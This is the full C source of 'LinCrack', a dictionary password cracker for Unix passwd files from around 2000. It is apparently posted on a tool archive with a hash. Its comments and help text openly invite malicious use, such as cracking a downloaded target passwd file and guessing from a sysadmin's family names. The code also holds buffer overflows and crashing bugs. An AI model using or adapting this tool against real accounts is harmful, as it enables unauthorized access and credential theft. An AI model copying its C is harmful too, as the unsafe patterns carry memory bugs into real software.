This is a very flexible, easy to use password cracker for the Linux/Unix platform. Just specify the dictionary file and the passwd file and your set. It attempts to crack each password in the passwd file using the words from the dictionary file.
aaa548be3dd9642b28de076a0c47d9219f6698481dd270e20087bb6b40e3c253
/*
This is a very flexible, easy to use password cracker for the Linux/Unix platform. Just specify the dictionary file and the passwd file and your set. It attempts to crack each password in the passwd file using the words from the dictionary file. Newbie Note: If you just got linux and aren't sure about all this, try this command:
bash$ cc -o lincrack lincrack.c -lcrypt (the -lcrypt may or may not be necessary)
bash$ ./lincrack -p /etc/passwd -d mydictionaryfile -stdin
This will attempt to crack your own password file. Also, a log will be kept in .thepid.log in your directory so you won't forget your cracked passwords. If you want to use this for malicious purposes, go ahead, I don't care what you do, I just like to program. I hope to be adding a lot of new features in the near future so keep on the look out for lincrack v.1.01 or 2.0. E-mail me for questions or comments at:
w0rm@antionline.org
Author: w0rm
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/stat.h>
#include <pwd.h>
#include <utmp.h>
#include <sys/file.h>
#include <strings.h>
#include <crypt.h>
#include <signal.h>
#define COLOR "\E[32m"
#define WHITE "\E[m"
#define COLOR1 "\E[1m"
#define COLOR_BACKUP "\E[36m"
#define NEW "\E[31m"
#define COLORD "\E[31m"
#define COPYRIGHT "(c) 2000 LinCrack v.1.5. By w0rm."
int scanfile(FILE *passfile);
void catchint(int);
struct passwd *
getpwnams(const char *name, FILE *file);
main(int argc, char *argv[])
{
FILE *dict, *pass;
char buff[100];
char buffer[100];
char bufs[100];
char sec[100];
struct passwd *pw;
int i, j, x;
char newbuf[100];
FILE *log;
int file;
int newfile;
char bufsalots[100];
char b[100];
char filebuf[100];
char passbuff[100];
sprintf(filebuf, ".%d.log\n", getpid());
file = open(filebuf, O_RDWR|O_CREAT, 0644);
if(argc < 2) {
fprintf(stderr, "\n w0rm's Linux Password Cracker: \n");
fprintf(stderr, " LinCrack v.1.0 \n");
fprintf(stderr, "\n");
fprintf(stderr, "Usage: %s [-p passwd file] [-d dictionary file] [Flags]\n", argv[0]); fprintf(stderr, "\n\n");
fprintf(stderr, "Flags: -p [passwd_file] Specify a password file\n");
fprintf(stderr, " -d [dictionary_file] Specify a dictionary file\n");
fprintf(stderr, " -stdin Specify words from STDIN to try \n");
fprintf(stderr, " -help Print Help File\n");
fprintf(stderr, "\n\n");
exit(1);
}
if((log = fopen(".log", "w")) == NULL) {
fprintf(stderr, "Error accessing log\n");
exit(1);
}
if(strcmp(argv[1], "-help") == 0) {
printf(NEW "\nListing of Commands for LinCrack v.1.0\n");
printf(WHITE "---------------------------------------\n");
printf("\n\n");
printf("-p [passfile] Put the UNIX passwd file in this location. The Password file\n");
printf(" is usually put in /etc/passwd. Once you have downloaded this\n");
printf(" file, just use the -p option to select a password file that\n");
printf(" you wish to crack.\n");
printf("\n");
printf("-d [dictfile] Put any dictionary file/wordlist here. These words will be\n");
printf(" encrypted with the crypt() command to see if is the password\n");
printf(" of a user in the passwd file. You can download wordlists from\n");
printf(" thousands of sites on the net\n");
printf("\n");
printf("-stdin A really nice feature with a nice interface which allows you\n");
printf(" to manually guess passwords since you may know possible words\n");
printf(" that the wordfile wouldn't have, such as the sysadmins kids\n");
printf(" name or the like. It just accepts the password you give it.\n");
printf("\n");
printf("-help Displays this help file\n");
printf("\n");
exit(0);
}
if(strcmp(argv[1], "-p") == 0) {
if((pass = fopen(argv[2], "r")) == NULL) {
fprintf(stderr, "Error opening passfile %s\n", argv[2]);
exit(1);
}
} else {
printf("You did not specify a password file!\n");
exit(0);
}
if(strcmp(argv[3], "-d") == 0) {
if((dict = fopen(argv[4], "r")) == NULL) {
fprintf(stderr, "Error opening dictfile %s\n", argv[4]);
exit(1);
}
}else {
printf("You did not specify a dictionary file!\n");
exit(0);
}
signal(SIGINT, catchint);
printf("\n\n");
printf(COLOR_BACKUP" [Lincrack v.1.0]\n");
printf(COLOR_BACKUP" [w0rm@antionline.org]\n");
printf("\n");
printf(WHITE COLOR1 " Cracking Passwords in Passwd File %s... \n\n", argv[2]);
printf(COLOR " Login Password\n");
printf(COLOR " -------------------------");
printf(WHITE "\n");
sprintf(bufsalots, "Cracked Passwords from %s\n", argv[2]);
write(file, bufsalots, strlen(bufsalots));
sprintf(b, "---------------------------\n");
write(file, b, strlen(b));
if(argc < 5) {
sprintf(argv[5], "hey");
}
while((pw = fgetpwent(pass)) != NULL) {
if(pw == NULL) {
printf("\n\nFinisied Cracking!\n");
exit(0);
}
while(!feof(dict)) {
fgets(buffer, 100, dict);
if(strcmp(pw->pw_passwd, "*") == 0 || strcmp(pw->pw_passwd, "!!") == 0 || strcmp(pw->pw_passwd, ":") == 0) {
if(pw == NULL) {
exit(0);
}else {
pw = fgetpwent(pass);
}
}
if(strcmp(pw->pw_passwd, "") == 0) {
printf(" %s [NONE]\n", pw->pw_name);
printf("\a");
if(pw != NULL) {
pw = fgetpwent(pass);
}else {
break;
}
}
if(strcmp(pw->pw_passwd, crypt(pw->pw_name, pw->pw_passwd)) == 0) {
printf(" %s %s\n\a", pw->pw_name, pw->pw_name);
printf("\a");
if(pw != NULL) {
pw = fgetpwent(pass);
}else {
break;
}
}
if(strcmp(pw->pw_passwd, crypt(buffer, pw->pw_passwd)) == 0) {
sprintf(newbuf, "%s\n", pw->pw_passwd);
printf(" %s %s ", pw->pw_name, buffer); printf("\a");
sprintf(bufs, "Login: %s Password: %s\n", pw->pw_name, buffer);
write(file, bufs, strlen(bufs));
if(pw != NULL) {
pw = fgetpwent(pass);
}else {
break;
}
}
if(feof(dict) != 0) {
if(pw != NULL) {
pw = fgetpwent(pass);
rewind(dict);
}else {
break;
}
}
if(pw == NULL) {
printf("\n\nFinished Cracking!\n");
if(argc == 5) {
exit(0);
}else {
if(strcmp(argv[5], "-stdin") != 0) {
printf("Done!\n");
exit(0);
}else if(strcmp(argv[5], "-stdin") == 0) {
fclose(dict);
fclose(pass);
printf(COLOR "\n");
printf(COLOR1 " Initiating STDIN password guessing program on passwd file %s\n", argv[2]);
printf(" Enter 'quit' to exit. \n");
printf(WHITE "\n");
while(j <= 5) {
printf("Password: ");
scanf("%s", &passbuff);
pass = fopen(argv[2], "r");
while((pw = fgetpwent(pass)) != NULL) {
if(pw == NULL) {
exit(0);
}
if(strcmp(pw->pw_passwd, crypt(passbuff, pw->pw_passwd)) == 0) {
printf(COLOR1 "\n");
printf(WHITE "USER");
printf(COLOR " %s ", pw->pw_name);
printf(WHITE "has PASS ");
printf(COLOR "%s\n", passbuff);
printf(WHITE "\n");
if(pw == NULL) {
exit(0);
}
}else {
printf("USER ");
printf(COLORD "%s", pw->pw_name);
printf(WHITE " does not have PASS ");
printf(COLORD "%s", passbuff);
printf(WHITE "\n");
}
if(strcmp(passbuff, "quit") == 0) {
printf("Done!\n");
exit(0);
}
}
}
if(pw == NULL) {
exit(0);
} else
exit(0);
}
}
}
}
}
fclose(dict);
fclose(pass);
return(0);
}
struct passwd *
getpwnams(const char *name, FILE *file) {
struct passwd *pws;
setpwent();
while((pws = fgetpwent(file)) != NULL) {
if(strcmp(name, pws->pw_name) == 0) {
break;
}
endpwent();
return(pws);
}
}
void catchint(int signo) {
char bufsalot[100];
printf("Are you sure you want to quit LinCrack? ");
scanf("%s", &bufsalot);
if(strstr(bufsalot, "y") != 0) {
exit(0);
}
}
int scanfile(FILE *passfile) {
char pasb[100];
struct passwd *pw;
printf("Password: ");
scanf("%s", &pasb);
while((pw = fgetpwent(passfile)) != NULL) {
if(strcmp(pw->pw_passwd, crypt(pasb, pw->pw_passwd)) == 0) {
printf(" %s %s\n\a", pw->pw_name, pasb);
}
}
}